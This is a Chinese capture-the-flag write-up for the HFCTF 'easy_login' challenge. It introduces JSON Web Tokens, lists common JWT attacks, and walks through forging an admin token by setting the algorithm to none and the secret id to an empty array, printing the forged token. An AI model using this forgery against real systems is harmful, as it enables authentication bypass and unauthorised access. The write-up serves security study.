从hfctf学习JWT伪造
本文作者:Ch3ng
easy_login
简单介绍一下什么是JWT
Json web token (JWT), 是为了在网络应用环境间传递声明而执行的一种基于JSON的开放标准((RFC 7519).该token被设计为紧凑且安全的,特别适用于分布式站点的单点登录(SSO)场景。JWT的声明一般被用来在身份提供者和服务提供者间传递被认证的用户身份信息,以便于从资源服务器获取资源,也可以增加一些额外的其它业务逻辑所必须的声明信息,该token也可直接被用于认证,也可被加密。
实际像这么一段数据
这串数据以(.)作为分隔符分为三个部分,依次如下:
l Header
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9 解码为 { "alg": "HS256", "typ": "JWT" }
alg属性表示签名的算法(algorithm),默认是 HMAC SHA256(写成 HS256);typ属性表示这个令牌(token)的类型(type),JWT 令牌统一写为JWT
l Payload
eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ
解码为
{ "sub": "1234567890", "name": "John Doe", "iat": 1516239022 }
JWT 规定了7个官方字段,供选用
iss (issuer):签发人
exp (expiration time):过期时间
sub (subject):主题
aud (audience):受众
nbf (Not Before):生效时间
iat (Issued At):签发时间
jti (JWT ID):编号
l Signature
Signature 部分是对前两部分的签名,防止数据篡改。
首先,需要指定一个密钥(secret)。这个密钥只有服务器才知道,不能泄露给用户。然后,使用 Header 里面指定的签名算法(默认是 HMAC SHA256),按照下面的公式产生签名。
HMACSHA256( base64UrlEncode(header) + "." + base64UrlEncode(payload), secret )
算出签名以后,把 Header、Payload、Signature 三个部分拼成一个字符串,每个部分之间用"点"(.)分隔,就可以返回给用户。
JWT安全问题一般有以下
1. 修改算法为none
2. 修改算法从RS256到HS256
3. 信息泄漏 密钥泄漏
4. 爆破密钥
首先是一个登录框,我们先注册一个账号admin123,admin123
看题目意思应该是想办法变成admin来登录
查看前端代码js/app.js
1./**
2. * 或许该用 koa-static 来处理静态文件
3. * 路径该怎么配置?不管了先填个根目录XD
4. */
5.
6.function login() {
7. const username = $("#username").val();
8. const password = $("#password").val();
9. const token = sessionStorage.getItem("token");
10. $.post("/api/login", {username, password, authorization:token})
11. .done(function(data) {
12. const {status} = data;
13. if(status) {
14. document.location = "/home";
15. }
16. })
17. .fail(function(xhr, textStatus, errorThrown) {
18. alert(xhr.responseJSON.message);
19. });
20.}
21.
22.function register() {
23. const username = $("#username").val();
24. const password = $("#password").val();
25. $.post("/api/register", {username, password})
26. .done(function(data) {
27. const { token } = data;
28. sessionStorage.setItem('token', token);
29. document.location = "/login";
30. })
31. .fail(function(xhr, textStatus, errorThrown) {
32. alert(xhr.responseJSON.message);
33. });
34.}
35.
36.function logout() {
37. $.get('/api/logout').done(function(data) {
38. const {status} = data;
39. if(status) {
40. document.location = '/login';
41. }
42. });
43.}
44.
45.function getflag() {
46. $.get('/api/flag').done(function(data) {
47. const {flag} = data;
48. $("#username").val(flag);
49. }).fail(function(xhr, textStatus, errorThrown) {
50. alert(xhr.responseJSON.message);
51. });
52.}
根据注释符提示可以发现存在源码泄露问题
接着发现了源码泄漏
访问app.js,controller.js,rest.js即可得到源代码
关键代码controllers/api.js
1.const crypto = require('crypto');
2.
3.const fs = require('fs')
4.
5.const jwt = require('jsonwebtoken')
6.
7.
8.const APIError = require('../rest').APIError;
9.
10.
11.module.exports = {
12.
13. 'POST /api/register': async (ctx, next) => {
14.
15. const {username, password} = ctx.request.body;
16.
17.
18. if(!username || username === 'admin'){
19.
20. throw new APIError('register error', 'wrong username');
21.
22. }
23.
24.
25. if(global.secrets.length > 100000) {
26.
27. global.secrets = [];
28.
29. }
30.
31.
32. const secret = crypto.randomBytes(18).toString('hex');
33.
34. const secretid = global.secrets.length;
35.
36. global.secrets.push(secret)
37.
38.
39. const token = jwt.sign({secretid, username, password}, secret, {algorithm: 'HS256'});
40.
41.
42.
43. ctx.rest({
44.
45. token: token
46.
47. });
48.
49.
50. await next();
51.
52. },
53.
54.
55.
56. 'POST /api/login': async (ctx, next) => {
57.
58. const {username, password} = ctx.request.body;
59.
60.
61. if(!username || !password) {
62.
63. throw new APIError('login error', 'username or password is necessary');
64.
65. }
66.
67.
68.
69. const token = ctx.header.authorization || ctx.request.body.authorization || ctx.request.query.authorization;
70.
71.
72. const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;
73.
74.
75.
76. console.log(sid)
77.
78.
79. if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
80.
81. throw new APIError('login error', 'no such secret id');
82.
83. }
84.
85.
86. const secret = global.secrets[sid];
87.
88.
89. const user = jwt.verify(token, secret, {algorithm: 'HS256'});
90.
91.
92. const status = username === user.username && password === user.password;
93.
94.
95. if(status) {
96.
97. ctx.session.username = username;
98.
99. }
100.
101.
102. ctx.rest({
103.
104. status
105.
106. });
107.
108.
109. await next();
110.
111. },
112.
113.
114. 'GET /api/flag': async (ctx, next) => {
115.
116. if(ctx.session.username !== 'admin'){
117.
118. throw new APIError('permission error', 'permission denied');
119.
120. }
121.
122.
123. const flag = fs.readFileSync('/flag').toString();
124.
125. ctx.rest({
126.
127. flag
128.
129. });
130.
131.
132. await next();
133.
134. },
135.
136.
137. 'GET /api/logout': async (ctx, next) => {
138.
139. ctx.session.username = null;
140.
141. ctx.rest({
142.
143. status: true
144.
145. })
146.
147. await next();
148.
149. }
150.
151.};
尝试注册,可以看到在注册的时候生成了一个token,并存在sessionStorage中
得到:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzZWNyZXRpZCI6MSwidXNlcm5hbWUiOiJhZG1pbjEyMyIsInBhc3N3b3JkIjoiYWRtaW4xMjMiLCJpYXQiOjE1ODczNzg4MjB9.o5ePpkaTQcSBxmOV-z6hBsWmvvbkd1a_C6Eu7Dpok4Q
解密得到:
token生成过程
1.const secret = crypto.randomBytes(18).toString('hex');
2.const secretid = global.secrets.length;
3.global.secrets.push(secret)
4.const token = jwt.sign({secretid, username, password}, secret, {algorithm: 'HS256'}
看看各种条件,这里会先对sid进行验证,我们需要绕过这条认证,下面还有一个jwt.verify()的验证并赋值给user
1.const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;
2.console.log(sid)
3.if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
4. throw new APIError('login error', 'no such secret id');
5.}
6.const secret = global.secrets[sid];
7.const user = jwt.verify(token, secret, {algorithm: 'HS256'});
8.const status = username === user.username && password === user.password;
9......
10.....
11.'GET /api/flag': async (ctx, next) => {
12. if(ctx.session.username !== 'admin'){
13. throw new APIError('permission error', 'permission denied');
14. }
这里的密钥是生成了18位,基本没有爆破的可能性,我们使用的方法是将算法(alg)设置为none,接着我们需要让jwt.verify()验证中的secret为空,这里有个tricks
再看看能不能过条件
const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;
运行结果
1. > sid < secrets.length
2. true
3. > sid >= 0
4. true
我们将header修改
1. 原:
2. {
3. "alg": "HS256",
4. "typ": "JWT"
5. }
6. ===>
7. {
8. "alg": "none",
9. "typ": "JWT"
10. }
11. 并加密为
12. eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0
修改payload
1. {
2. "secretid": 1,
3. "username": "admin123",
4. "password": "admin123",
5. "iat": 1587378820
6. }
7. ===>
8. {
9. "secretid": [],
10. "username": "admin",
11. "password": "admin123",
12. "iat": 1587378820
13. }
14. 并加密为
15. eyJzZWNyZXRpZCI6W10sInVzZXJuYW1lIjoiYWRtaW4iLCJwYXNzd29yZCI6ImFkbWluMTIzIiwiaWF0IjoxNTg3Mzc4ODIwfQ
最后使用(.)进行拼接得到伪造的token
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzZWNyZXRpZCI6W10sInVzZXJuYW1lIjoiYWRtaW4iLCJwYXNzd29yZCI6ImFkbWluMTIzIiwiaWF0IjoxNTg3Mzc4ODIwfQ.
修改sessionStorage
接着使用admin,admin123登录访问api/flag,即可得到flag
参考:
https://www.ruanyifeng.com/blog/2018/07/json_web_token-tutorial.html
从hfctf学习JWT伪造的更多相关文章
- [原题复现+审计][CISCN2019 华北赛区 Day1 Web2]ikun(逻辑漏洞、JWT伪造、python序列化)
简介 原题复现: 考察知识点:逻辑漏洞.JWT伪造.python反序列化 线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学院内可使用信安协会内部的CTF训练平台 ...
- JWT伪造攻击
JWT修改伪造攻击 什么是JWT? JSON Web Token(JSON Web令牌)是一种跨域验证身份的方案.JWT不加密传输的数据,但能够通过数字签名来验证数据未被篡改(但是做完下面的WebGo ...
- 想全面理解JWT?一文足矣!
有篇关于JWT的文章,叫"JWT: The Complete Guide to JSON Web Tokens",写得全面细致.为了自己能更清晰理解并惠及更多人,我把它大致翻译了过 ...
- django restframework jwt
既然要来学习jwt(json web token),那么我们肯定是先要了解jwt的优势以及应用场景--跨域认证. $ pip install djangorestframework-jwt 传统coo ...
- JWT应用
调试器库简介问一件T恤! 精心制作 JSON Web令牌简介 新:免费获得JWT手册并深入学习JWT! 什么是JSON Web Token? JSON Web Token(JWT)是一个开放标准(RF ...
- 阶段5 3.微服务项目【学成在线】_day16 Spring Security Oauth2_11-SpringSecurityOauth2研究-JWT研究-JWT介绍
3.6 JWT研究 3.6.1 JWT介绍 在介绍JWT之前先看一下传统校验令牌的方法,如下图: 问题: 传统授权方法的问题是用户每次请求资源服务,资源服务都需要携带令牌访问认证服务去校验令牌的合法性 ...
- 服务安全-JWT(JSON Web Tokens):百科
ylbtech-服务安全-JWT(JSON Web Tokens):百科 JSON Web Tokens是一种开放的行业标准 RFC 7519方法,用于在双方之间安全地表示索赔. JWT.IO允许您解 ...
- Spring Boot JWT 快速入门
本章节讨论 jwt 在 spring boot 中的应用.意在快速入门 jwt. java jdk1.8 maven 3.2+ spring boot 2.0+ JSON Web Token(JWT) ...
- 从零玩转SpringSecurity+JWT整合前后端分离
从零玩转SpringSecurity+JWT整合前后端分离 2021年4月9日 · 预计阅读时间: 50 分钟 一.什么是Jwt? Json web token (JWT), 是为了在网络应用环境间传 ...
随机推荐
- 图-最短路-dijkstra-0/1BFS-1368. 使网格图至少有一条有效路径的最小代价
2020-03-01 22:59:59 问题描述: 给你一个 m x n 的网格图 grid . grid 中每个格子都有一个数字,对应着从该格子出发下一步走的方向. grid[i][j] 中的数字可 ...
- # Unity 游戏框架搭建 2019 (十六、十七) localPosition 简化与Transform 重置
在上一篇我们收集了一个 屏幕分辨率检测的一个小工具.今天呢再往下接着探索. 问题 我们今天在接着探索.不管是写 UI 还是写 GamePlay,多多少少都需要操作 Transform. 而在笔者刚接触 ...
- TensorFlow系列专题(十一):RNN的应用及注意力模型
磐创智能-专注机器学习深度学习的教程网站 http://panchuang.net/ 磐创AI-智能客服,聊天机器人,推荐系统 http://panchuangai.com/ 目录: 循环神经网络的应 ...
- 《JavaScript 模式》读书笔记(5)— 对象创建模式4
我们学完了大部分对象创建模式相关的内容,下面还有一些小而精的部分. 七.对象常量 JavaScript中没有常量的概念,虽然许多现代的编程环境可能为您提供了用以创建常量的const语句.作为一种变通方 ...
- 报错代码:svn-http status413'requset entity too large
报错代码:svn-http status413'requset entity too large 发现报错,判断问题.解决问题.记录问题. SVN服务器端排查过没有问题,其他客户端都能正常更新.只有一 ...
- [noip模拟]改造二叉树<LIS>
1.改造二叉树 [题目描述] 小Y在学树论时看到了有关二叉树的介绍:在计算机科学中,二叉树是每个结点最多有两个子结点的有序树.通常子结点被称作“左孩子”和“右孩子”.二叉树被用作二叉搜索树和二叉堆.随 ...
- B. Lost Number【CF交互题 暴力】
B. Lost Number[CF交互题 暴力] This is an interactive problem. Remember to flush your output while communi ...
- 在vue项目中封装echarts的正确姿势
为什么需要封装echarts 每个开发者在制作图表时都需要从头到尾书写一遍完整的option配置,十分冗余 在同一个项目中,各类图表设计十分相似,甚至是相同,没必要一直做重复工作 可能有一些开发者忘记 ...
- 携程首页--使用flex布局实现
携程首页 flex解决了float和postion的遗留问题,对移动端比较友好. 需要水平排列的元素就为其父元素设置display:flex,并为子元素添加flex的值(比例) 布局时可以先从大的页面 ...
- 非参数估计——核密度估计(Parzen窗)
核密度估计,或Parzen窗,是非参数估计概率密度的一种.比如机器学习中还有K近邻法也是非参估计的一种,不过K近邻通常是用来判别样本类别的,就是把样本空间每个点划分为与其最接近的K个训练抽样中,占比最 ...